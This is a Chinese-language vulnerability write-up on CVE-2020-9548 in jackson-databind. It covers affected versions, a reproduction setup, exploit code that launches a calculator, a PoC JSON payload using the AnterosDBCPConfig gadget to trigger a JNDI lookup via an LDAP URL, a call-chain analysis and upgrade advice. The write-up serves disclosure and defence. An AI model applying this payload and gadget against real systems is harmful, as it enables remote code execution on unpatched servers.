jackson-databind RCE CVE-2020-9548

影响范围¶

• jackson-databind before 2.9.10.4 • jackson-databind before 2.8.11.6 • jackson-databind before 2.7.9.7

漏洞类型¶

JDNI注入导致RCE 利用条件 • 开启enableDefaultTyping() • 使用了br.com.anteros.dbcp.AnterosDBCPConfig第三方依赖

漏洞概述¶

2020年3月，jackson-databind在github上更新了一个新的反序列化利用类br.com.anteros.dbcp.AnterosDBCPConfig，该类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。

漏洞复现¶

环境搭建 pom.xml：

 <dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.9.1</version>
    </dependency>
      <!-- https://mvnrepository.com/artifact/br.com.anteros/Anteros-DBCP -->
      <dependency>
          <groupId>br.com.anteros</groupId>
          <artifactId>Anteros-DBCP</artifactId>
          <version>1.0.1</version>
      </dependency>
      <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-nop</artifactId>
      <version>1.7.2</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
      <dependency>
          <groupId>javax.transaction</groupId>
          <artifactId>jta</artifactId>
          <version>1.1</version>
      </dependency>
  </dependencies>

漏洞利用¶

编译Exploit.java Exploit.java代码如下：

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

搭建HTTP服务使用Python搭建简易SimpleHTTPServer服务：

搭建LDAP服务使用marshalsec来启动一个LDAP服务：

执行漏洞POC1 Poc.java代码如下所示：

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception {
       ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]";
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

之后运行该程序，成功执行命令，弹出计算器：

漏洞分析¶

首先定位到br.com.anteros.dbcp.AnterosDBCPConfig类，之后发现一处可疑的JNDI注入：

由于参数来自object，所以之后全局搜索调用getObjectOrPerformJndiLookup函数调用的地方发现setMetricRegistry处有一处可控的调用，此处的参数metricRegistry可有json指定，之后传入getObjectOrPerformJndiLookup，之后再次传入lookup，从而导致JNDI注入的发生，并最终导致RCE:

整个利用链如下所示：

mapper.readValue
    ->setMetricRegistry
        ->getObjectOrPerformJndiLookup
             ->lookup

修复建议¶

• 及时将jackson-databind升级到安全版本 • 升级到较高版本的JDK。参考链接 https://github.com/FasterXML/jackson-databind/issues/2634